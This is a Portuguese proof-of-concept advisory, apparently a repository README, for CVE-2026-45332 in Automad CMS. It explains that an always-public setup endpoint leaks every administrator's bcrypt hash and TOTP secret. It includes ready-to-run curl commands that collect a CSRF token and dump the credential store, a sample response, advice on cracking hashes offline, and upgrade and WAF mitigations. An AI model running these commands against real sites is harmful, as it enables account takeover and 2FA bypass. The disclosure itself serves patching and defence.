
Exploit de prova de conceito para CVE-2026-45332, um controle de acesso quebrado no Automad CMS que permite a extração não autenticada de hashes bcrypt de administradores e segredos TOTP.
Prova de conceito para CVE-2026-45332, uma vulnerabilidade de Controle de Acesso Quebrado no Automad CMS que permite que qualquer atacante não autenticado obtenha o hash de senha bcrypt e o segredo TOTP de todas as contas de administrador por meio do endpoint de configuração, que nunca é desabilitado após a configuração inicial.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Produto | Automad CMS (composer automad/automad) |
| Afetado | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Corrigido | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 Alta (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Exposição de Informações Sensíveis), CWE-306 (Ausência de Autenticação para Função Crítica) |
| Pesquisador | Lorenzo Camilli |
O Automad é um CMS PHP baseado em arquivos. O endpoint de configuração responsável por criar a primeira conta de administrador, /_api/user-collection/create-first-user, é registrado como uma rota de API permanentemente pública. Não existe nenhuma proteção que o encerre depois que a configuração inicial é concluída.
Em uma instância ativa e totalmente configurada, um POST não autenticado para este endpoint carrega todo o banco de dados de usuários do disco e o retorna, serializado, no corpo da resposta JSON, incluindo:
2.0.0-beta.27)Nenhuma conta prévia, credencial ou posição especial de rede é necessária.
A rota está inserida no array $publicAPIRoutes em automad/src/server/Routes.php e é registrada sob a condição AM_PAGE_DASHBOARD, uma constante que é avaliada como a string '/dashboard' e, portanto, é sempre verdadeira. A rota permanece registrada em todas as instalações, inclusive após a conclusão da configuração.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() inclui os campos privados passwordHash e totpSecret, portanto eles acabam embutidos na saída serializada que é retornada ao chamador.
Descrição técnica completa: PoC.md.
O endpoint requer um token CSRF válido e um cookie de sessão do Automad, ambos obtidos livremente na página pública de login. Reprodução:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
A resposta contém o hash bcrypt e o segredo TOTP de cada administrador registrado, além do caminho absoluto da configuração:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Os hashes bcrypt podem então ser quebrados offline (Hashcat / John). Na versão 2.0.0-beta.27, o segredo TOTP vazado ignora completamente a autenticação de dois fatores.
Um atacante remoto não autenticado pode:
2.0.0-beta.27).Atualize para o Automad 2.0.0-beta.28 ou posterior, que restringe o endpoint assim que a configuração inicial for concluída. Como mitigação temporária, bloqueie requisições para /_api/user-collection/create-first-user no servidor web ou no WAF.